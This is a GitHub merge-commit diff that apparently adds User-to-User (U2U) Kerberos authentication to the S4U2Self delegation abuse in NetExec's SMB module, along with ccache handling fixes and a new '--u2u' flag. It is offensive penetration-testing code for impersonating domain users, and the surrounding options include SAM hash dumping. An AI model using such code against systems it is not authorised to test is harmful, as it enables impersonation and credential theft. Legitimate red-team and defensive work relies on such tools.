Merge pull request #1078 from azoxlpf/feat/u2u-support

Add User2User authentication
This commit is contained in:
Alex authored and GitHub committed 2026-06-07 17:57:07 +02:00
commit efab20a2ea
3 files changed
+25 -10

No files matched your search

+7 -3
View File
@@ -389,7 +389,7 @@ class smb(connection):
kerb_pass = ""
self.username = self.args.delegate
serverName = Principal(self.args.delegate_spn if self.args.delegate_spn else f"cifs/{self.remoteName}", type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, sk = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy)
tgs, sk = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy, u2u=self.args.u2u)
self.logger.debug(f"TGS obtained for {self.args.delegate} for {serverName}")
spn = f"cifs/{self.remoteName}"
@@ -411,10 +411,14 @@ class smb(connection):
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
used_ccache = f" through S4U with {username}"
u2u_str = "+U2U" if self.args.u2u else ""
auth_user = username if username else "ccache"
used_ccache = f" through S4U{u2u_str} with {auth_user}"
if self.args.delegate_spn:
used_ccache = f" through S4U with {username} (w/ SPN {self.args.delegate_spn})"
u2u_str = "+U2U" if self.args.u2u else ""
auth_user = username if username else "ccache"
used_ccache = f" through S4U{u2u_str} with {auth_user} (w/ SPN {self.args.delegate_spn})"
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
self.logger.success(out)
+16 -7
View File
@@ -18,16 +18,17 @@ from impacket.krb5 import constants
from nxc.logger import nxc_logger
def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy=False):
def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy=False, u2u=False):
my_tgt = None
if use_cache:
domain, _, tgt, _ = CCache.parseFile(domain, username)
domain, ccache_user, tgt, _ = CCache.parseFile(domain, username)
if tgt is None:
raise
my_tgt = tgt["KDC_REP"]
raise Exception("No TGT found in ccache file")
my_tgt = decoder.decode(tgt["KDC_REP"], asn1Spec=AS_REP())[0]
cipher = tgt["cipher"]
session_key = tgt["sessionKey"]
my_tgt = decoder.decode(my_tgt, asn1Spec=AS_REP())[0]
if not username and ccache_user:
username = ccache_user
if my_tgt is None:
principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
nxc_logger.debug("Getting TGT for user")
@@ -118,9 +119,14 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.canonicalize.value)
if u2u:
opts.append(constants.KDCOptions.renewable_ok.value)
opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
req_body["kdc-options"] = constants.encodeFlags(opts)
server_name = Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
# For U2U, include the domain in the serverName
server_name = Principal(username, domain.upper(), type=constants.PrincipalNameType.NT_UNKNOWN.value) if u2u else Principal(username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
seq_set(req_body, "sname", server_name.components_to_asn1)
req_body["realm"] = str(decoded_tgt["crealm"])
@@ -131,7 +137,10 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash
req_body["nonce"] = random.getrandbits(31)
seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
nxc_logger.info("Requesting S4U2self")
if u2u:
seq_set_iter(req_body, "additional-tickets", (ticket.to_asn1(TicketAsn1()),))
nxc_logger.info(f"Requesting S4U2self{'+U2U' if u2u else ''}")
message = encoder.encode(tgs_req)
r = sendReceive(message, domain, kdcHost)
+2
View File
@@ -10,6 +10,7 @@ def proto_args(parser, parents):
delegate_spn_arg = smb_parser.add_argument("--delegate-spn", action=get_conditional_action(_StoreAction), make_required=[], help="SPN to use for S4U2Proxy, if not specified the SPN used will be cifs/<target>", type=str)
generate_st = smb_parser.add_argument("--generate-st", type=str, dest="generate_st", action=get_conditional_action(_StoreAction), make_required=[], help="Store the S4U Service Ticket in the specified file")
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
u2u_arg = smb_parser.add_argument("--u2u", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Use User-to-User (U2U) authentication with S4U2Self")
dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
@@ -29,6 +30,7 @@ def proto_args(parser, parents):
self_delegate_arg.make_required = [delegate_arg]
generate_st.make_required = [delegate_arg]
delegate_spn_arg.make_required = [delegate_arg]
u2u_arg.make_required = [delegate_arg]
cred_gathering_group = smb_parser.add_argument_group("Credential Gathering")
cred_gathering_group.add_argument("--sam", choices={"regdump", "secdump"}, nargs="?", const="regdump", help="dump SAM hashes from target systems")